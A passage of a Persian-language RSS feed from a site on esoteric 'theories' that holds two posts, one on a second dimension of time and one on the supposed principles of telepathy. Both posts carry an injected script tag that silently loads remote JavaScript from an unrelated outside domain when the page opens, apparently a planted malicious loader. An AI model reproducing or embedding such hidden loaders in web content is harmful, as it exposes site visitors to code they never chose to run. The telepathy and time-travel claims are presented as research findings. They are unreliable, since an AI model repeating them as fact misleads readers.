<p><a href="https://theorium.net/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5685" src="https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-300x300.jpg" alt="The Persistence of MemoryT" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/04/The-Persistence-of-MemoryT.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<h6><strong>بعد دوم زمان</strong></h6>
<p>اما شاید از خود بپرسید اگر واقعاً بعد دوم زمان وجود دارد پس چرا ما متوجه حضور آن نمی‌شویم؟</p>
<p>همگی انسان‌ ها زمانی متولد می‌شوند، دوران ‌های كودكی، جوانی، میانسالی و پیری را در امتداد بعد اول زمان پشت سر می ‌گذارند.</p>
<p>نهایتاً از این دنیا می‌ روند بدون اینكه هیچ تجربه ‌ای از بعد دوم زمان داشته باشند.</p>
<h6><strong>علت چیست؟</strong></h6>
<p>فیزیكدان ‌هایی كه مسأله وجود بعد دوم زمان را مطرح كرده ‌اند پاسخ جالبی برای این معما پیدا كرده‌اند.</p>
<p>به گفته آنها بر طبق نظریه ابرزمان بعد دوم زمان در حالت معمول در خود پیچیده است.</p>
<p>به طوری‌كه این پیچیدگی در تجربیات روزمره &#8211; و حتی در بسیاری از آزمایشات علمی &#8211; اصلاً به چشم نمی‌آید.</p>
<p>به بیان ساده‌تر می ‌توان گفت كه در نظریه ابرزمان صفحه دو بعدی زمان در حالت معمول همانند یك فرش لوله شده است.</p>
<p>از درون این فرش لوله شده تنها می‌توان از گذشته به سوی آینده حركت كرد .</p>
<p>برای همین ما به اشتباه تصور می‌كنیم كه زمان صرفاً پدیده‌ای یك بعدی است كه از گذشته به آینده امتداد دارد.</p>
<p>اما اگر بتوان این فرش لوله شده را از هم باز كرد می توان در زمان سفر کرد.</p>
<p>حتی می‌شود در درون همین لحظه‌‌ای كه هم‌اكنون در آن به سر می‌برید نیز به مسافرتی ابدی بروید.</p>
<h6><strong>سفری در امتداد عمود بر جهت سیر زمان</strong><strong>!</strong></h6>
<p>البته برای باز كردن فرش زمان یك شرط اساسی وجود دارد:</p>
<p>برای این ‌كار باید بتوانیم مقدار عظیمی انرژی را در حجم بسیار كوچكی متمركز كنیم.</p>
<p>به همین دلیل هم برخی فیزیكدان‌ها معتقدند كه تنها نقاطی در جهان ما هست كه امكان تمركز این انرژی عظیم و نتیجتاً باز شدن فرش لوله شده زمان در آنها وجود دارد.</p>
<p>این مکان ها قلب سیاهچاله‌ ها هستند.<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%a8%d8%b1-%d8%b2%d9%85%d8%a7%d9%86/">نظریه ابر زمان</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d8%a7%d8%a8%d8%b1-%d8%b2%d9%85%d8%a7%d9%86/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>تله پاتی ؛ اصول و قوانین بنیادی &#8211; بخش اول</title>
		<link>https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%a8%d8%ae%d8%b4-%d8%a7%d9%88%d9%84/</link>
					<comments>https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%a8%d8%ae%d8%b4-%d8%a7%d9%88%d9%84/#respond</comments>
		
		<dc:creator><![CDATA[mmd]]></dc:creator>
		<pubDate>Tue, 07 Apr 2020 11:30:15 +0000</pubDate>
				<category><![CDATA[علوم باطنی]]></category>
		<category><![CDATA[نظریه ها و دکترین ها]]></category>
		<category><![CDATA[آگاهی]]></category>
		<category><![CDATA[ارتباط تله پاتیک]]></category>
		<category><![CDATA[اصول و قوانین تله پاتی]]></category>
		<category><![CDATA[تجسم و تصور]]></category>
		<category><![CDATA[تله پاتی]]></category>
		<category><![CDATA[زمان]]></category>
		<category><![CDATA[فاصله]]></category>
		<category><![CDATA[فرستنده]]></category>
		<guid isPermaLink="false">http://theorium.net/?p=5078</guid>

					<description><![CDATA[<p>تله پاتی ؛ اصول و قوانین بنیادی &#8211; بخش اول تله پاتی؛ تله پاتی؛ پدیده یا قابلیتی ا‌ست برای برقراری ارتباط بین افراد، كه عمدتاً به صورت غیرقابل كنترل و در شرایط خاص نیز به صورت كنترل شده، به ‌وقوع می ‌پیوندد. این پدیده اگر چه در مصادیق روزمره آن در عین سادگی، موضوعی قابل [&#8230;]</p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%a8%d8%ae%d8%b4-%d8%a7%d9%88%d9%84/">تله پاتی ؛ اصول و قوانین بنیادی &#8211; بخش اول</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></description>
										<content:encoded><![CDATA[<p class="MsoNormal" dir="RTL" style="text-align: justify; direction: rtl; unicode-bidi: embed;"><span lang="FA" style="font-size: 12.0pt; line-height: 107%; font-family: 'B Nazanin'; mso-bidi-language: FA;">تله پاتی ؛ اصول و قوانین بنیادی &#8211; بخش اول</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="FA" style="font-family: 'B Nazanin'; mso-bidi-language: FA;">ت</span></b><b><span lang="AR-SA" style="font-family: 'B Nazanin';">له پاتی؛</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';"><a href="https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%8c-%d8%a8%d8%ae%d8%b4-%d8%af%d9%88%d9%85/" target="_blank" rel="noopener noreferrer">تله پاتی</a>؛ پدیده یا قابلیتی ا‌ست برای برقراری ارتباط بین افراد، كه عمدتاً به صورت غیرقابل كنترل و در شرایط خاص نیز به صورت كنترل شده، به ‌وقوع می ‌پیوندد</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">این پدیده اگر چه در مصادیق روزمره آن در عین سادگی، موضوعی قابل توجه و جالب به نظر می ‌رسد ولی به جهت امكاناتی كه ایجاد می ‌كند می‌ تواند به ‌عنوان شیوه ‌ای خاص و استراتژیك، در دسترسی یافتن به اطلاعات و انتقال آن نیز مورد استفاده قرار گیرد</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">اما یكی از نكاتی كه در این موضوع بسیار حائز اهمیت است، وجود اصول و قوانین بنیادین در به ‌كارگیری تله پاتی به‌ عنوان یك فن و تكنولوژی باطنی ا‌ست</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL"><a href="https://theorium.net/category/%d9%86%d8%b8%d8%b1%db%8c%d9%87-%d9%87%d8%a7-%d9%88-%d8%af%da%a9%d8%aa%d8%b1%db%8c%d9%86-%d9%87%d8%a7/%d8%b9%d9%84%d9%88%d9%85-%d8%a8%d8%a7%d8%b7%d9%86%db%8c/" target="_blank" rel="noopener noreferrer"><img class="aligncenter size-medium wp-image-5638" src="https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-300x300.jpg" alt="Telepathi" width="300" height="300" srcset="https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-300x300.jpg 300w, https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-150x150.jpg 150w, https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-100x100.jpg 100w, https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-120x120.jpg 120w, https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2-520x520.jpg 520w, https://theorium.net/wp-content/uploads/2020/04/Telepathy-1-2.jpg 600w" sizes="(max-width: 300px) 100vw, 300px" /></a></p>
<p dir="RTL">
<h5 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">اصول و قوانین بنیادی</span></b><b></b></h5>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">لازم است بدانیم كه وقوع پدیده‌ های مربوط به جهان‌ باطنی همچون وقایع این جهانی، دارای اصول و قوانین خاص خود هستند و پدیده‌ های روحی و باطنی نیز اغلب براساس همین اصول و قوانین بنیادی و مشترك رخ می ‌دهند.از این جهت قصد به معرفی برخی از اصول پایه تكنولوژی ارتباط ذهنی كه تاكنون شناخته شده است، بپردازیم</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">شناخت كامل هر پدیده‌ ای، به اقتدار درآوردن و كنترل آن را نتیجه می‌ دهد و هرگاه بر چیزی اقتدار پیدا كنیم، قدرت تسلط و تصرف بر آن چیز را می‌یابیم</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">در علم تله پاتی نیز برخی از مفاهیم و مطالب پایه‌ ای وجود دارند كه اطلاع از آنها در تجربه این پدیده تأثیر‌گذار است.نتایج تحقیقات در این زمینه نشان داده است كه با شناخت اصول اولیه ارتباط به صورت تله‌ پاتی، شرایط برقراری ارتباط مؤثرتری مهیا می ‌شود</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">همچنین آگاهی بر مؤلفه‌ های آن، رهنمون تجربه آگاهانه تله پاتی می‌‌ گردد و تله پاتی را از یك پدیده كنترل نشده به پدیده ‌ای قابل كنترل تبدیل می ‌كند. برخی از اصول بنیادی تكنولوژی تله پاتی از این قرار اند</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">:</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">فاصله</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">فاصله در هر تمرین یا برنامه تله پاتیکی بین فرستنده و گیرنده پیام، فاصله‌ ای وجود دارد كه می‌ تواند از چند سانتیمتر تا چند هزار كیلومتر متفاوت باشد. افراد به همان میزان از ظرفیت و قابلیتی كه در فواصل نزدیك كسب می ‌كنند می‌ توانند در فواصل طولانی هم دریافت داشته باشند. بنابر این میزان فاصله در نحوه و نتیجه ارتباط تله پاتی كمترین تأثیری ندارد</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">زمان</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">زمان نیز از مولفه ‌هایی ا‌ست كه در ارتباط تله پاتیک تأثیرگذار است. مناسب‌ ترین زمان برای ارتباطات فكری، ساعات آخر شب و صبح زود است. زمانی كه ما بیدار و مشغول فعالیت هستیم، خودآگاه ما فعال است. برعكس هر زمان كه ما در وضعیت سكوت و آرامش، چشمانمان را ببندیم، ناخودآگاه ما فعال می ‌شود. در زمان آرامش، كانال‌ هایی كه برای فعالیت و كارآیی روحی لازم‌ اند، رها و آزاد می ‌شوند و انسان بهتر و بیشتر می‌ تواند با ناخودآگاه خود رابطه برقرار كند</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">فرستنده</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">فرستنده پیام تله پاتی كه به سوژه یا گیرنده، پیام می‌ فرستد باید لحنی داشته باشد كه گویی سوژه خود به این مطالب فكر كرده و آن‌ را با زبان خویش بیان می‌ دارد. برای مثال اگر هدف این باشد كه گیرنده پیام دست راستش را بلند كند، این پیام یا فرمان به این صورت صادر می شود: «حالا من دست راستم را بلند می كنم.» اگر از ضمیر دوم شخص استفاده شود در این حالت سوژه اطلاعات نادرستی را دریافت می كند كه آن را كاملاً مربوط و مرتبط با خودش نمی‌ داند و فكر می ‌كند منظور فرد یا شخص دیگری ا‌ست</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">انگیزه و علاقه</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">در حالت كلی اگر ما عملی را انجام می ‌دهیم به‌ این دلیل است كه به‌ واسطه یك احساس یا انگیزه، برای انجام آن كار تشویق یا تحریك شده ‌ایم</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">این انگیزه ممكن است یك ارزش روحی باشد. پیام تله پاتیک نیز بایستی آنچنان تأثیر داشته باشد كه سوژه با شور و شوق درصدد انجام آن برآید و برای آن انگیزه قوی و روشنی وجود داشته باشد</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<h6 dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><b><span lang="AR-SA" style="font-family: 'B Nazanin';">تجسم و تصور</span></b><b></b></h6>
<p dir="RTL" style="text-align: right; direction: rtl; unicode-bidi: embed;"><span lang="AR-SA" style="font-family: 'B Nazanin';">انسان، تصاویر و بویژه سمبل‌ها را بهتر، راحت‌تر و سریع‌ تر از كلمات درك و فهم می‌كند.برای انتقال بهتر پیام‌ های تله پاتیک، به جای كلمات اغلب از تصویر استفاده ‌می‌ شود؛ مثلاً به جای كلمه سگ، سوژه در شرایطی تجسم می ‌شود كه سگی را در ذهنش مجسم می‌ كند</span><span dir="LTR" style="mso-bidi-font-family: 'B Nazanin';">.</span></p>
<p><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');</script></p>
<p>نوشته <a rel="nofollow" href="https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%a8%d8%ae%d8%b4-%d8%a7%d9%88%d9%84/">تله پاتی ؛ اصول و قوانین بنیادی &#8211; بخش اول</a> اولین بار در <a rel="nofollow" href="https://theorium.net">بنیاد بین المللی تئوری ها و دکترین ها</a>. پدیدار شد.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://theorium.net/%d8%a7%d8%b5%d9%88%d9%84-%d9%88-%d9%82%d9%88%d8%a7%d9%86%db%8c%d9%86-%d8%a8%d9%86%db%8c%d8%a7%d8%af%db%8c-%d8%aa%d9%84%d9%87-%d9%be%d8%a7%d8%aa%db%8c-%d8%a8%d8%ae%d8%b4-%d8%a7%d9%88%d9%84/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>